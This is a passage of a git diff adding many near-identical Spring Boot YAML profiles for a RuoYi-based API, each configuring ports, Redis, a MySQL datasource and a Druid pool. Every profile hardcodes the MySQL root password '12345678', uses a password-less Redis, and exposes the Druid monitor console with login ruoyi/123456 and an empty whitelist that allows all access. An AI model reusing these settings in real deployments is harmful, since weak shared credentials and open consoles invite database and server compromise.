控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-gemini2.yml b/ruoyi-api/src/main/resources/application-gemini2.yml new file mode 100644 index 0000000..ced442e --- /dev/null +++ b/ruoyi-api/src/main/resources/application-gemini2.yml @@ -0,0 +1,95 @@ +app: + name: gemini +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gemini?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-gmdoin.yml b/ruoyi-api/src/main/resources/application-gmdoin.yml new file mode 100644 index 0000000..9114e43 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-gmdoin.yml @@ -0,0 +1,94 @@ +app: + name: gmdoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmdoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-gmmoin.yml b/ruoyi-api/src/main/resources/application-gmmoin.yml new file mode 100644 index 0000000..b0789a0 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-gmmoin.yml @@ -0,0 +1,95 @@ +app: + name: gmmoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmmoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-gmtoin.yml b/ruoyi-api/src/main/resources/application-gmtoin.yml new file mode 100644 index 0000000..ce78552 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-gmtoin.yml @@ -0,0 +1,96 @@ +app: + name: gmtoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmtoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-gmtoin2.yml b/ruoyi-api/src/main/resources/application-gmtoin2.yml new file mode 100644 index 0000000..656b63c --- /dev/null +++ b/ruoyi-api/src/main/resources/application-gmtoin2.yml @@ -0,0 +1,96 @@ +app: + name: gmtoin2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/gmtoin2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-hfm.yml b/ruoyi-api/src/main/resources/application-hfm.yml new file mode 100644 index 0000000..dc9bd25 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-hfm.yml @@ -0,0 +1,96 @@ +app: + name: hfm +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/hfm?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-hfm2.yml b/ruoyi-api/src/main/resources/application-hfm2.yml new file mode 100644 index 0000000..83700d8 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-hfm2.yml @@ -0,0 +1,95 @@ +app: + name: hfm2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/hfm2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-idsst.yml b/ruoyi-api/src/main/resources/application-idsst.yml new file mode 100644 index 0000000..035ddfd --- /dev/null +++ b/ruoyi-api/src/main/resources/application-idsst.yml @@ -0,0 +1,95 @@ +app: + name: idsst +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8000 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 0 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/idsst?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-kabit.yml b/ruoyi-api/src/main/resources/application-kabit.yml new file mode 100644 index 0000000..e1150ea --- /dev/null +++ b/ruoyi-api/src/main/resources/application-kabit.yml @@ -0,0 +1,95 @@ +app: + name: kabit +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8001 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 1 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/kabit?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-latcoin.yml b/ruoyi-api/src/main/resources/application-latcoin.yml new file mode 100644 index 0000000..09f4e07 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-latcoin.yml @@ -0,0 +1,96 @@ +app: + name: latcoin +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/latcoin?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-math.yml b/ruoyi-api/src/main/resources/application-math.yml new file mode 100644 index 0000000..8061bae --- /dev/null +++ b/ruoyi-api/src/main/resources/application-math.yml @@ -0,0 +1,96 @@ +app: + name: math +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8002 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/math?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +# 日志配置 +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-paxpay.yml b/ruoyi-api/src/main/resources/application-paxpay.yml new file mode 100644 index 0000000..bce63c5 --- /dev/null +++ b/ruoyi-api/src/main/resources/application-paxpay.yml @@ -0,0 +1,95 @@ +app: + name: paxpay +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 9022 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 2 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/paxpay?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 配置间隔多久才进行一次检测,检测需要关闭的空闲连接,单位是毫秒 + timeBetweenEvictionRunsMillis: 60000 + # 配置一个连接在池中最小生存的时间,单位是毫秒 + minEvictableIdleTimeMillis: 300000 + # 配置一个连接在池中最大生存的时间,单位是毫秒 + maxEvictableIdleTimeMillis: 900000 + # 配置检测连接是否有效 + validationQuery: SELECT 1 FROM DUAL + testWhileIdle: true + testOnBorrow: false + testOnReturn: false + webStatFilter: + enabled: true + statViewServlet: + enabled: true + # 设置白名单,不填则允许所有访问 + allow: + url-pattern: /druid/* + # 控制台管理用户名和密码 + login-username: ruoyi + login-password: 123456 + filter: + stat: + enabled: true + # 慢SQL记录 + log-slow-sql: true + slow-sql-millis: 1000 + merge-sql: true + wall: + config: + multi-statement-allow: true + +logging: + level: + com.ruoyi: info + org.springframework: warn \ No newline at end of file diff --git a/ruoyi-api/src/main/resources/application-robinhood2.yml b/ruoyi-api/src/main/resources/application-robinhood2.yml new file mode 100644 index 0000000..74ec73c --- /dev/null +++ b/ruoyi-api/src/main/resources/application-robinhood2.yml @@ -0,0 +1,94 @@ +app: + name: robinhood2 +# 开发环境配置 +server: + # 服务器的HTTP端口,默认为8080 + port: 8003 +# 数据源配置 +spring: + # redis 配置 + redis: + # 地址 + host: localhost + # 端口,默认为6379 + port: 6379 + # 数据库索引 + database: 3 + # 密码 + password: + # 连接超时时间 + timeout: 10s + lettuce: + pool: + # 连接池中的最小空闲连接 + min-idle: 0 + # 连接池中的最大空闲连接 + max-idle: 32 + # 连接池的最大数据库连接数 + max-active: 32 + # #连接池最大阻塞等待时间(使用负值表示没有限制) + max-wait: -1ms + datasource: + type: com.alibaba.druid.pool.DruidDataSource + driverClassName: com.mysql.cj.jdbc.Driver + druid: + # 主库数据源 + master: + + url: jdbc:mysql://localhost:3306/robinhood2?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8 + username: root + password: 12345678 + # 从库数据源 + slave: + # 从数据源开关/默认关闭 + enabled: false + url: + username: + password: + # 初始连接数 + initialSize: 5 + # 最小连接池数量 + minIdle: 10 + # 最大连接池数量 + maxActive: 20 + # 配置获取连接等待超时的时间 + maxWait: 60000 + # 配置连接超时时间 + connectTimeout: 30000 + # 配置网络超时时间 + socketTimeout: 60000 + # 